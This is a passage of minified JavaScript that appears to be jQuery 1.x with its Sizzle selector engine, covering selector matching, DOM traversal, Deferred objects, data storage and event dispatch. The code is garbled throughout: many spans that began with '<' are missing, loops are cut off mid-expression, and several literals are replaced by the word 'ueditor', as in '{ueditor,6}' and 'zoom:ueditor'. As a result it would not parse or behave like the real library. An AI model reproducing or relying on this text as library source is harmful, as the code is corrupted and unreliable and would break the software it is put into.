i=e.length;i--;)if(!e[i](t,n,r))return!1;return!0}:e[0]}function g(e,n,r){for(var i=0,o=n.length;i-1&&(r[l]=!(a[l]=f))}}else x=m(x===a?x.splice(h,x.length):x),o?o(null,a,x,u):Q.apply(a,x)})}function v(e){for(var t,n,r,i=e.length,o=T.relative[e[0].type],a=o||T.relative[" "],s=o?1:0,u=p(function(e){return e===t},a,!0),l=p(function(e){return ee(t,e)>-1},a,!0),c=[function(e,n,r){var i=!o&&(r||n!==A)||((t=n).nodeType?u(e,n,r):l(e,n,r));return t=null,i}];s1&&h(c),s>1&&d(e.slice(0,s-1).concat({value:" "===e[s-2].type?"*":""})).replace(se,"$1"),n,s0,o=e.length>0,a=function(r,a,s,u,l){var c,f,d,p=0,h="0",g=r&&[],y=[],v=A,x=r||o&&T.find.TAG("*",l),b=W+=null==v?1:Math.random()||.1,w=x.length;for(l&&(A=a===H||a||l);h!==w&&null!=(c=x[h]);h++){if(o&&c){for(f=0,a||c.ownerDocument===H||(L(c),s=!_);d=e[f++];)if(d(c,a||H,s)){u.push(c);break}l&&(W=b)}i&&((c=!d&&c)&&p--,r&&g.push(c))}if(p+=h,i&&h!==p){for(f=0;d=n[f++];)d(g,y,a,s);if(r){if(p>0)for(;h--;)g[h]||y[h]||(y[h]=G.call(u));y=m(y)}Q.apply(u,y),l&&!r&&y.length>0&&p+n.length>1&&t.uniqueSort(u)}return l&&(W=b,A=v),g};return i?r(a):a}var b,w,T,C,E,N,k,S,A,D,j,L,H,q,_,F,M,O,R,P="sizzle"+1*new Date,B=e.document,W=0,I=0,$=n(),z=n(),X=n(),U=function(e,t){return e===t&&(j=!0),0},V=1<<31,Y={}.hasOwnProperty,J=[],G=J.pop,K=J.push,Q=J.push,Z=J.slice,ee=function(e,t){for(var n=0,r=e.length;n+~]|"+ne+")"+ne+"*"),ce=new RegExp("="+ne+"*([^\\]'\"]*?)"+ne+"*\\]","g"),fe=new RegExp(oe),de=new RegExp("^"+re+"$"),pe={ID:new RegExp("^#("+re+")"),CLASS:new RegExp("^\\.("+re+")"),TAG:new RegExp("^("+re+"|[*])"),ATTR:new RegExp("^"+ie),PSEUDO:new RegExp("^"+oe),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+ne+"*(even|odd|(([+-]|)(\\d*)n|)"+ne+"*(?:([+-]|)"+ne+"*(\\d+)|))"+ne+"*\\)|)","i"),bool:new RegExp("^(?:"+te+")$","i"),needsContext:new RegExp("^"+ne+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+ne+"*((?:-\\d)?\\d*)"+ne+"*\\)|)(?=[^-]|$)","i")},he=/^(?:input|select|textarea|button)$/i,ge=/^h\d$/i,me=/^[^{]+\{\s*\[native \w/,ye=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ve=/[+~]/,xe=/'|\\/g,be=new RegExp("\\\\([\\da-f]{ueditor,6}"+ne+"?|("+ne+")|.)","ig"),we=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},Te=function(){L()};try{Q.apply(J=Z.call(B.childNodes),B.childNodes),J[B.childNodes.length].nodeType}catch(Ce){Q={apply:J.length?function(e,t){K.apply(e,Z.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}w=t.support={},E=t.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},L=t.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:B;return r!==H&&9===r.nodeType&&r.documentElement?(H=r,q=H.documentElement,_=!E(H),(n=H.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",Te,!1):n.attachEvent&&n.attachEvent("onunload",Te)),w.attributes=i(function(e){return e.className="i",!e.getAttribute("className")}),w.getElementsByTagName=i(function(e){return e.appendChild(H.createComment("")),!e.getElementsByTagName("*").length}),w.getElementsByClassName=me.test(H.getElementsByClassName),w.getById=i(function(e){return q.appendChild(e).id=P,!H.getElementsByName||!H.getElementsByName(P).length}),w.getById?(T.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&_){var n=t.getElementById(e);return n?[n]:[]}},T.filter.ID=function(e){var t=e.replace(be,we);return function(e){return e.getAttribute("id")===t}}):(delete T.find.ID,T.filter.ID=function(e){var t=e.replace(be,we);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}}),T.find.TAG=w.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):w.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return o},T.find.CLASS=w.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&_)return t.getElementsByClassName(e)},M=[],F=[],(w.qsa=me.test(H.querySelectorAll))&&(i(function(e){q.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&F.push("[*^$]="+ne+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||F.push("\\["+ne+"*(?:value|"+te+")"),e.querySelectorAll("[id~="+P+"-]").length||F.push("~="),e.querySelectorAll(":checked").length||F.push(":checked"),e.querySelectorAll("a#"+P+"+*").length||F.push(".#.+[+~]")}),i(function(e){var t=H.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&F.push("name"+ne+"*[*^$|!~]?="),e.querySelectorAll(":enabled").length||F.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),F.push(",.*:")})),(w.matchesSelector=me.test(O=q.matches||q.webkitMatchesSelector||q.mozMatchesSelector||q.oMatchesSelector||q.msMatchesSelector))&&i(function(e){w.disconnectedMatch=O.call(e,"div"),O.call(e,"[s!='']:x"),M.push("!=",oe)}),F=F.length&&new RegExp(F.join("|")),M=M.length&&new RegExp(M.join("|")),t=me.test(q.compareDocumentPosition),R=t||me.test(q.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)for(;t=t.parentNode;)if(t===e)return!0;return!1},U=t?function(e,t){if(e===t)return j=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n?n:(n=(e.ownerDocument||e)===(t.ownerDocument||t)?e.compareDocumentPosition(t):1,1&n||!w.sortDetached&&t.compareDocumentPosition(e)===n?e===H||e.ownerDocument===B&&R(B,e)?-1:t===H||t.ownerDocument===B&&R(B,t)?1:D?ee(D,e)-ee(D,t):0:4&n?-1:1)}:function(e,t){if(e===t)return j=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,s=[e],u=[t];if(!i||!o)return e===H?-1:t===H?1:i?-1:o?1:D?ee(D,e)-ee(D,t):0;if(i===o)return a(e,t);for(n=e;n=n.parentNode;)s.unshift(n);for(n=t;n=n.parentNode;)u.unshift(n);for(;s[r]===u[r];)r++;return r?a(s[r],u[r]):s[r]===B?-1:u[r]===B?1:0},H):H},t.matches=function(e,n){return t(e,null,null,n)},t.matchesSelector=function(e,n){if((e.ownerDocument||e)!==H&&L(e),n=n.replace(ce,"='$ueditor']"),w.matchesSelector&&_&&!X[n+" "]&&(!M||!M.test(n))&&(!F||!F.test(n)))try{var r=O.call(e,n);if(r||w.disconnectedMatch||e.document&&11!==e.document.nodeType)return r}catch(i){}return t(n,H,null,[e]).length>0},t.contains=function(e,t){return(e.ownerDocument||e)!==H&&L(e),R(e,t)},t.attr=function(e,t){(e.ownerDocument||e)!==H&&L(e);var n=T.attrHandle[t.toLowerCase()],r=n&&Y.call(T.attrHandle,t.toLowerCase())?n(e,t,!_):void 0;return void 0!==r?r:w.attributes||!_?e.getAttribute(t):(r=e.getAttributeNode(t))&&r.specified?r.value:null},t.error=function(e){throw new Error("Syntax error, unrecognized expression: "+e)},t.uniqueSort=function(e){var t,n=[],r=0,i=0;if(j=!w.detectDuplicates,D=!w.sortStable&&e.slice(0),e.sort(U),j){for(;t=e[i++];)t===e[i]&&(r=n.push(i));for(;r--;)e.splice(n[r],1)}return D=null,e},C=t.getText=function(e){var t,n="",r=0,i=e.nodeType;if(i){if(1===i||9===i||11===i){if("string"==typeof e.textContent)return e.textContent;for(e=e.firstChild;e;e=e.nextSibling)n+=C(e)}else if(3===i||4===i)return e.nodeValue}else for(;t=e[r++];)n+=C(t);return n},T=t.selectors={cacheLength:50,createPseudo:r,match:pe,attrHandle:{},find:{},relative:{">":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(be,we),e[3]=(e[3]||e[4]||e[5]||"").replace(be,we),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||t.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&t.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return pe.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&fe.test(n)&&(t=N(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(be,we).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=$[e+" "];return t||(t=new RegExp("(^|"+ne+")"+e+"("+ne+"|$)"))&&$(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(e,n,r){return function(i){var o=t.attr(i,e);return null==o?"!="===n:!n||(o+="","="===n?o===r:"!="===n?o!==r:"^="===n?r&&0===o.indexOf(r):"*="===n?r&&o.indexOf(r)>-1:"$="===n?r&&o.slice(-r.length)===r:"~="===n?(" "+o.replace(ae," ")+" ").indexOf(r)>-1:"|="===n&&(o===r||o.slice(0,r.length+1)===r+"-"))}},CHILD:function(e,t,n,r,i){var o="nth"!==e.slice(0,3),a="last"!==e.slice(-4),s="of-type"===t;return 1===r&&0===i?function(e){return!!e.parentNode}:function(t,n,u){var l,c,f,d,p,h,g=o!==a?"nextSibling":"previousSibling",m=t.parentNode,y=s&&t.nodeName.toLowerCase(),v=!u&&!s,x=!1;if(m){if(o){for(;g;){for(d=t;d=d[g];)if(s?d.nodeName.toLowerCase()===y:1===d.nodeType)return!1;h=g="only"===e&&!h&&"nextSibling"}return!0}if(h=[a?m.firstChild:m.lastChild],a&&v){for(d=m,f=d[P]||(d[P]={}),c=f[d.uniqueID]||(f[d.uniqueID]={}),l=c[e]||[],p=l[0]===W&&l[1],x=p&&l[2], +d=p&&m.childNodes[p];d=++p&&d&&d[g]||(x=p=0)||h.pop();)if(1===d.nodeType&&++x&&d===t){c[e]=[W,p,x];break}}else if(v&&(d=t,f=d[P]||(d[P]={}),c=f[d.uniqueID]||(f[d.uniqueID]={}),l=c[e]||[],p=l[0]===W&&l[1],x=p),x===!1)for(;(d=++p&&d&&d[g]||(x=p=0)||h.pop())&&((s?d.nodeName.toLowerCase()!==y:1!==d.nodeType)||!++x||(v&&(f=d[P]||(d[P]={}),c=f[d.uniqueID]||(f[d.uniqueID]={}),c[e]=[W,x]),d!==t)););return x-=i,x===r||x%r===0&&x/r>=0}}},PSEUDO:function(e,n){var i,o=T.pseudos[e]||T.setFilters[e.toLowerCase()]||t.error("unsupported pseudo: "+e);return o[P]?o(n):o.length>1?(i=[e,e,"",n],T.setFilters.hasOwnProperty(e.toLowerCase())?r(function(e,t){for(var r,i=o(e,n),a=i.length;a--;)r=ee(e,i[a]),e[r]=!(t[r]=i[a])}):function(e){return o(e,0,i)}):o}},pseudos:{not:r(function(e){var t=[],n=[],i=k(e.replace(se,"$1"));return i[P]?r(function(e,t,n,r){for(var o,a=i(e,null,r,[]),s=e.length;s--;)(o=a[s])&&(e[s]=!(t[s]=o))}):function(e,r,o){return t[0]=e,i(t,null,o,n),t[0]=null,!n.pop()}}),has:r(function(e){return function(n){return t(e,n).length>0}}),contains:r(function(e){return e=e.replace(be,we),function(t){return(t.textContent||t.innerText||C(t)).indexOf(e)>-1}}),lang:r(function(e){return de.test(e||"")||t.error("unsupported lang: "+e),e=e.replace(be,we).toLowerCase(),function(t){var n;do if(n=_?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang"))return n=n.toLowerCase(),n===e||0===n.indexOf(e+"-");while((t=t.parentNode)&&1===t.nodeType);return!1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===q},focus:function(e){return e===H.activeElement&&(!H.hasFocus||H.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling)if(e.nodeType<6)return!1;return!0},parent:function(e){return!T.pseudos.empty(e)},header:function(e){return ge.test(e.nodeName)},input:function(e){return he.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||"text"===t.toLowerCase())},first:l(function(){return[0]}),last:l(function(e,t){return[t-1]}),eq:l(function(e,t,n){return[n<0?n+t:n]}),even:l(function(e,t){for(var n=0;n=0;)e.push(r);return e}),gt:l(function(e,t,n){for(var r=n<0?n+t:n;++r2&&"ID"===(a=o[0]).type&&w.getById&&9===t.nodeType&&_&&T.relative[o[1].type]){if(t=(T.find.ID(a.matches[0].replace(be,we),t)||[])[0],!t)return n;l&&(t=t.parentNode),e=e.slice(o.shift().value.length)}for(i=pe.needsContext.test(e)?0:o.length;i--&&(a=o[i],!T.relative[s=a.type]);)if((u=T.find[s])&&(r=u(a.matches[0].replace(be,we),ve.test(o[0].type)&&c(t.parentNode)||t))){if(o.splice(i,1),e=r.length&&d(o),!e)return Q.apply(n,r),n;break}}return(l||k(e,f))(r,t,!_,n,!t||ve.test(e)&&c(t.parentNode)||t),n},w.sortStable=P.split("").sort(U).join("")===P,w.detectDuplicates=!!j,L(),w.sortDetached=i(function(e){return 1&e.compareDocumentPosition(H.createElement("div"))}),i(function(e){return e.innerHTML="","#"===e.firstChild.getAttribute("href")})||o("type|href|height|width",function(e,t,n){if(!n)return e.getAttribute(t,"type"===t.toLowerCase()?1:2)}),w.attributes&&i(function(e){return e.innerHTML="",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||o("value",function(e,t,n){if(!n&&"input"===e.nodeName.toLowerCase())return e.defaultValue}),i(function(e){return null==e.getAttribute("disabled")})||o(te,function(e,t,n){var r;if(!n)return e[t]===!0?t.toLowerCase():(r=e.getAttributeNode(t))&&r.specified?r.value:null}),t}(e);pe.find=ve,pe.expr=ve.selectors,pe.expr[":"]=pe.expr.pseudos,pe.uniqueSort=pe.unique=ve.uniqueSort,pe.text=ve.getText,pe.isXMLDoc=ve.isXML,pe.contains=ve.contains;var xe=function(e,t,n){for(var r=[],i=void 0!==n;(e=e[t])&&9!==e.nodeType;)if(1===e.nodeType){if(i&&pe(e).is(n))break;r.push(e)}return r},be=function(e,t){for(var n=[];e;e=e.nextSibling)1===e.nodeType&&e!==t&&n.push(e);return n},we=pe.expr.match.needsContext,Te=/^<([\w-]+)\s*\/?>(?:<\/\1>|)$/,Ce=/^.[^:#\[\.,]*$/;pe.filter=function(e,t,n){var r=t[0];return n&&(e=":not("+e+")"),1===t.length&&1===r.nodeType?pe.find.matchesSelector(r,e)?[r]:[]:pe.find.matches(e,pe.grep(t,function(e){return 1===e.nodeType}))},pe.fn.extend({find:function(e){var t,n=[],r=this,i=r.length;if("string"!=typeof e)return this.pushStack(pe(e).filter(function(){for(t=0;t1?pe.unique(n):n),n.selector=this.selector?this.selector+" "+e:e,n},filter:function(e){return this.pushStack(r(this,e||[],!1))},not:function(e){return this.pushStack(r(this,e||[],!0))},is:function(e){return!!r(this,"string"==typeof e&&we.test(e)?pe(e):e||[],!1).length}});var Ee,Ne=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,ke=pe.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||Ee,"string"==typeof e){if(r="<"===e.charAt(0)&&">"===e.charAt(e.length-1)&&e.length>=3?[null,e,null]:Ne.exec(e),!r||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof pe?t[0]:t,pe.merge(this,pe.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:re,!0)),Te.test(r[1])&&pe.isPlainObject(t))for(r in t)pe.isFunction(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}if(i=re.getElementById(r[2]),i&&i.parentNode){if(i.id!==r[2])return Ee.find(e);this.length=1,this[0]=i}return this.context=re,this.selector=e,this}return e.nodeType?(this.context=this[0]=e,this.length=1,this):pe.isFunction(e)?"undefined"!=typeof n.ready?n.ready(e):e(pe):(void 0!==e.selector&&(this.selector=e.selector,this.context=e.context),pe.makeArray(e,this))};ke.prototype=pe.fn,Ee=pe(re);var Se=/^(?:parents|prev(?:Until|All))/,Ae={children:!0,contents:!0,next:!0,prev:!0};pe.fn.extend({has:function(e){var t,n=pe(e,this),r=n.length;return this.filter(function(){for(t=0;t-1:1===n.nodeType&&pe.find.matchesSelector(n,e))){o.push(n);break}return this.pushStack(o.length>1?pe.uniqueSort(o):o)},index:function(e){return e?"string"==typeof e?pe.inArray(this[0],pe(e)):pe.inArray(e.jquery?e[0]:e,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(e,t){return this.pushStack(pe.uniqueSort(pe.merge(this.get(),pe(e,t))))},addBack:function(e){return this.add(null==e?this.prevObject:this.prevObject.filter(e))}}),pe.each({parent:function(e){var t=e.parentNode;return t&&11!==t.nodeType?t:null},parents:function(e){return xe(e,"parentNode")},parentsUntil:function(e,t,n){return xe(e,"parentNode",n)},next:function(e){return i(e,"nextSibling")},prev:function(e){return i(e,"previousSibling")},nextAll:function(e){return xe(e,"nextSibling")},prevAll:function(e){return xe(e,"previousSibling")},nextUntil:function(e,t,n){return xe(e,"nextSibling",n)},prevUntil:function(e,t,n){return xe(e,"previousSibling",n)},siblings:function(e){return be((e.parentNode||{}).firstChild,e)},children:function(e){return be(e.firstChild)},contents:function(e){return pe.nodeName(e,"iframe")?e.contentDocument||e.contentWindow.document:pe.merge([],e.childNodes)}},function(e,t){pe.fn[e]=function(n,r){var i=pe.map(this,t,n);return"Until"!==e.slice(-5)&&(r=n),r&&"string"==typeof r&&(i=pe.filter(r,i)),this.length>1&&(Ae[e]||(i=pe.uniqueSort(i)),Se.test(e)&&(i=i.reverse())),this.pushStack(i)}});var De=/\S+/g;pe.Callbacks=function(e){e="string"==typeof e?o(e):pe.extend({},e);var t,n,r,i,a=[],s=[],u=-1,l=function(){for(i=e.once,r=t=!0;s.length;u=-1)for(n=s.shift();++u-1;)a.splice(n,1),n<=u&&u--}),this},has:function(e){return e?pe.inArray(e,a)>-1:a.length>0},empty:function(){return a&&(a=[]),this},disable:function(){return i=s=[],a=n="",this},disabled:function(){return!a},lock:function(){return i=!0,n||c.disable(),this},locked:function(){return!!i},fireWith:function(e,n){return i||(n=n||[],n=[e,n.slice?n.slice():n],s.push(n),t||l()),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},pe.extend({Deferred:function(e){var t=[["resolve","done",pe.Callbacks("once memory"),"resolved"],["reject","fail",pe.Callbacks("once memory"),"rejected"],["notify","progress",pe.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return pe.Deferred(function(n){pe.each(t,function(t,o){var a=pe.isFunction(e[t])&&e[t];i[o[1]](function(){var e=a&&a.apply(this,arguments);e&&pe.isFunction(e.promise)?e.promise().progress(n.notify).done(n.resolve).fail(n.reject):n[o[0]+"With"](this===r?n.promise():this,a?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?pe.extend(e,r):r}},i={};return r.pipe=r.then,pe.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t,n,r,i=0,o=ie.call(arguments),a=o.length,s=1!==a||e&&pe.isFunction(e.promise)?a:0,u=1===s?e:pe.Deferred(),l=function(e,n,r){return function(i){n[e]=this,r[e]=arguments.length>1?ie.call(arguments):i,r===t?u.notifyWith(n,r):--s||u.resolveWith(n,r)}};if(a>1)for(t=new Array(a),n=new Array(a),r=new Array(a);i0||(je.resolveWith(re,[pe]),pe.fn.triggerHandler&&(pe(re).triggerHandler("ready"),pe(re).off("ready"))))}}),pe.ready.promise=function(t){if(!je)if(je=pe.Deferred(),"complete"===re.readyState||"loading"!==re.readyState&&!re.documentElement.doScroll)e.setTimeout(pe.ready);else if(re.addEventListener)re.addEventListener("DOMContentLoaded",s),e.addEventListener("load",s);else{re.attachEvent("onreadystatechange",s),e.attachEvent("onload",s);var n=!1;try{n=null==e.frameElement&&re.documentElement}catch(r){}n&&n.doScroll&&!function i(){if(!pe.isReady){try{n.doScroll("left")}catch(t){return e.setTimeout(i,50)}a(),pe.ready()}}()}return je.promise(t)},pe.ready.promise();var Le;for(Le in pe(fe))break;fe.ownFirst="0"===Le,fe.inlineBlockNeedsLayout=!1,pe(function(){var e,t,n,r;n=re.getElementsByTagName("body")[0],n&&n.style&&(t=re.createElement("div"),r=re.createElement("div"),r.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",n.appendChild(r).appendChild(t),"undefined"!=typeof t.style.zoom&&(t.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:ueditor",fe.inlineBlockNeedsLayout=e=3===t.offsetWidth,e&&(n.style.zoom=1)),n.removeChild(r))}),function(){var e=re.createElement("div");fe.deleteExpando=!0;try{delete e.test}catch(t){fe.deleteExpando=!1}e=null}();var He=function(e){var t=pe.noData[(e.nodeName+" ").toLowerCase()],n=+e.nodeType||1;return(1===n||9===n)&&(!t||t!==!0&&e.getAttribute("classid")===t)},qe=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,_e=/([A-Z])/g;pe.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?pe.cache[e[pe.expando]]:e[pe.expando],!!e&&!l(e)},data:function(e,t,n){return c(e,t,n)},removeData:function(e,t){return f(e,t)},_data:function(e,t,n){return c(e,t,n,!0)},_removeData:function(e,t){return f(e,t,!0)}}),pe.fn.extend({data:function(e,t){var n,r,i,o=this[0],a=o&&o.attributes;if(void 0===e){if(this.length&&(i=pe.data(o),1===o.nodeType&&!pe._data(o,"parsedAttrs"))){for(n=a.length;n--;)a[n]&&(r=a[n].name,0===r.indexOf("data-")&&(r=pe.camelCase(r.slice(5)),u(o,r,i[r])));pe._data(o,"parsedAttrs",!0)}return i}return"object"==typeof e?this.each(function(){pe.data(this,e)}):arguments.length>1?this.each(function(){pe.data(this,e,t)}):o?u(o,e,pe.data(o,e)):void 0},removeData:function(e){return this.each(function(){pe.removeData(this,e)})}}),pe.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=pe._data(e,t),n&&(!r||pe.isArray(n)?r=pe._data(e,t,pe.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=pe.queue(e,t),r=n.length,i=n.shift(),o=pe._queueHooks(e,t),a=function(){pe.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return pe._data(e,n)||pe._data(e,n,{empty:pe.Callbacks("once memory").add(function(){pe._removeData(e,t+"queue"),pe._removeData(e,n)})})}}),pe.fn.extend({queue:function(e,t){var n=2;return"string"!=typeof e&&(t=e,e="fx",n--),arguments.length
    a",fe.leadingWhitespace=3===e.firstChild.nodeType,fe.tbody=!e.getElementsByTagName("tbody").length,fe.htmlSerialize=!!e.getElementsByTagName("link").length,fe.html5Clone="<:nav>"!==re.createElement("nav").cloneNode(!0).outerHTML,n.type="checkbox",n.checked=!0,t.appendChild(n),fe.appendChecked=n.checked,e.innerHTML="",fe.noCloneChecked=!!e.cloneNode(!0).lastChild.defaultValue,t.appendChild(e),n=re.createElement("input"),n.setAttribute("type","radio"),n.setAttribute("checked","checked"),n.setAttribute("name","t"),e.appendChild(n),fe.checkClone=e.cloneNode(!0).cloneNode(!0).lastChild.checked,fe.noCloneEvent=!!e.addEventListener,e[pe.expando]=1,fe.attributes=!e.getAttribute(pe.expando)}();var Xe={option:[1,""],legend:[1,"
    ","
    "],area:[1,"",""],param:[1,"",""],thead:[1,"","
    "],tr:[2,"","
    "],col:[2,"","
    "],td:[3,"","
    "],_default:fe.htmlSerialize?[0,"",""]:[1,"X
    ","
    "]};Xe.optgroup=Xe.option,Xe.tbody=Xe.tfoot=Xe.colgroup=Xe.caption=Xe.thead,Xe.th=Xe.td;var Ue=/<|&#?\w+;/,Ve=/-1&&(h=p.split("."),p=h.shift(),h.sort()),a=p.indexOf(":")<0&&"on"+p,t=t[pe.expando]?t:new pe.Event(p,"object"==typeof t&&t),t.isTrigger=i?2:3,t.namespace=h.join("."),t.rnamespace=t.namespace?new RegExp("(^|\\.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,t.result=void 0,t.target||(t.target=r),n=null==n?[t]:pe.makeArray(n,[t]),l=pe.event.special[p]||{},i||!l.trigger||l.trigger.apply(r,n)!==!1)){if(!i&&!l.noBubble&&!pe.isWindow(r)){for(u=l.delegateType||p,Ke.test(u+p)||(s=s.parentNode);s;s=s.parentNode)d.push(s),c=s;c===(r.ownerDocument||re)&&d.push(c.defaultView||c.parentWindow||e)}for(f=0;(s=d[f++])&&!t.isPropagationStopped();)t.type=f>1?u:l.bindType||p,o=(pe._data(s,"events")||{})[t.type]&&pe._data(s,"handle"),o&&o.apply(s,n),o=a&&s[a],o&&o.apply&&He(s)&&(t.result=o.apply(s,n),t.result===!1&&t.preventDefault());if(t.type=p,!i&&!t.isDefaultPrevented()&&(!l._default||l._default.apply(d.pop(),n)===!1)&&He(r)&&a&&r[p]&&!pe.isWindow(r)){c=r[a],c&&(r[a]=null),pe.event.triggered=p;try{r[p]()}catch(g){}pe.event.triggered=void 0,c&&(r[a]=c)}return t.result}},dispatch:function(e){e=pe.event.fix(e);var t,n,r,i,o,a=[],s=ie.call(arguments),u=(pe._data(this,"events")||{})[e.type]||[],l=pe.event.special[e.type]||{};if(s[0]=e,e.delegateTarget=this,!l.preDispatch||l.preDispatch.call(this,e)!==!1){for(a=pe.event.handlers.call(this,e,u),t=0;(i=a[t++])&&!e.isPropagationStopped();)for(e.currentTarget=i.elem,n=0;(o=i.handlers[n++])&&!e.isImmediatePropagationStopped();)e.rnamespace&&!e.rnamespace.test(o.namespace)||(e.handleObj=o,e.data=o.data,r=((pe.event.special[o.origType]||{}).handle||o.handler).apply(i.elem,s),void 0!==r&&(e.result=r)===!1&&(e.preventDefault(),e.stopPropagation()));return l.postDispatch&&l.postDispatch.call(this,e),e.result}},handlers:function(e,t){var n,r,i,o,a=[],s=t.delegateCount,u=e.target;if(s&&u.nodeType&&("click"!==e.type||isNaN(e.button)||e.button<1))for(;u!=this;u=u.parentNode||this)if(1===u.nodeType&&(u.disabled!==!0||"click"!==e.type)){for(r=[],n=0;n-1:pe.find(i,this,null,[u]).length),r[i]&&r.push(o);r.length&&a.push({elem:u,handlers:r})}return s]","i"),tt=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,nt=/\s*$/g,at=p(re),st=at.appendChild(re.createElement("div"));pe.extend({htmlPrefilter:function(e){return e.replace(tt,"<$ueditor>")},clone:function(e,t,n){var r,i,o,a,s,u=pe.contains(e.ownerDocument,e);if(fe.html5Clone||pe.isXMLDoc(e)||!et.test("<"+e.nodeName+">")?o=e.cloneNode(!0):(st.innerHTML=e.outerHTML,st.removeChild(o=st.firstChild)),!(fe.noCloneEvent&&fe.noCloneChecked||1!==e.nodeType&&11!==e.nodeType||pe.isXMLDoc(e)))for(r=h(o),s=h(e),a=0;null!=(i=s[a]);++a)r[a]&&k(i,r[a]);if(t)if(n)for(s=s||h(e),r=r||h(o),a=0;null!=(i=s[a]);a++)N(i,r[a]);else N(e,o);return r=h(o,"script"),r.length>0&&g(r,!u&&h(e,"script")),r=s=i=null,o},cleanData:function(e,t){for(var n,r,i,o,a=0,s=pe.expando,u=pe.cache,l=fe.attributes,c=pe.event.special;null!=(n=e[a]);a++)if((t||He(n))&&(i=n[s],o=i&&u[i])){if(o.events)for(r in 